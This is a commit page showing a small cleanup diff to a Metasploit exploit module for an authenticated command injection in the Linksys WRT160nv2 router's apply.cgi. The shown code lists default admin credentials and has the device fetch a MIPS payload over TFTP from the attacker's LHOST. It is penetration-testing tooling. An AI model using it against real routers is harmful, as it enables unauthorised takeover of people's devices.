Skip to content

Commit 395aac9

Browse files
author
jvazquez-r7
committed
Do minor cleanup for linksys_wrt160nv2_apply_exec
1 parent 08b2c9d commit 395aac9

File tree

1 file changed

+10
-10
lines changed

1 file changed

+10
-10
lines changed

modules/exploits/linux/http/linksys_wrt160nv2_apply_exec.rb

Lines changed: 10 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -14,19 +14,18 @@ class Metasploit3 < Msf::Exploit::Remote
1414
include Msf::Exploit::Remote::HttpClient
1515
include Msf::Exploit::EXE
1616
include Msf::Exploit::FileDropper
17-
include Msf::Exploit::Remote::TFTPServer
1817

1918
def initialize(info = {})
2019
super(update_info(info,
2120
'Name' => 'Linksys WRT160nv2 apply.cgi Remote Command Injection',
2221
'Description' => %q{
23-
Some Linksys Routers are vulnerable to an authenticated OS command injection.
24-
Default credentials for the web interface are admin/admin or admin/password. Since
25-
it is a blind os command injection vulnerability, there is no output for the
26-
executed command when using the cmd generic payload. This module was tested on a
27-
Linksys WRT160n version 2 - firmware version v2.0.03. A ping command against a
22+
Some Linksys Routers are vulnerable to an authenticated OS command injection on
23+
their web interface where default credentials are admin/admin or admin/password.
24+
Since it is a blind OS command injection vulnerability, there is no output for the
25+
executed command when using the cmd generic payload. This module has been tested on
26+
a Linksys WRT160n version 2 - firmware version v2.0.03. A ping command against a
2827
controlled system could be used for testing purposes. The exploit uses the tftp
29-
client from the device to download the payload.
28+
client from the device to stage to native payloads from the command injection.
3029
},
3130
'Author' =>
3231
[
@@ -70,7 +69,7 @@ def initialize(info = {})
7069
[
7170
OptString.new('USERNAME', [ true, 'The username to authenticate as', 'admin' ]),
7271
OptString.new('PASSWORD', [ true, 'The password for the specified username', 'admin' ]),
73-
OptAddress.new('LHOST', [ true, 'Our localhost IP address from where the victim downloads the MIPS payload' ]),
72+
OptAddress.new('LHOST', [ true, 'The listen IP address from where the victim downloads the MIPS payload' ]),
7473
OptString.new('DOWNFILE', [ false, 'Filename to download, (default: random)' ]),
7574
OptInt.new('DELAY', [true, 'Time that the HTTP Server will wait for the ELF payload request', 10])
7675
], self.class)
@@ -170,13 +169,14 @@ def exploit
170169
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
171170
end
172171

173-
# wait for payload download
172+
# wait for payload download
174173
if (datastore['DOWNHOST'])
175174
print_status("#{rhost}:#{rport} - Giving #{datastore['DELAY']} seconds to the Linksys device to download the payload")
176175
select(nil, nil, nil, datastore['DELAY'])
177176
else
178177
wait_linux_payload
179178
end
179+
@tftp.stop
180180
register_file_for_cleanup("/tmp/#{filename}")
181181

182182
#
@@ -207,10 +207,10 @@ def wait_linux_payload
207207

208208
waited = 0
209209
while (not @tftp.files.length == 0)
210-
puts @tftp.files.length
211210
select(nil, nil, nil, 1)
212211
waited += 1
213212
if (waited > datastore['DELAY'])
213+
@tftp.stop
214214
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it cant connect back to us?")
215215
end
216216
end

0 commit comments

Comments
 (0)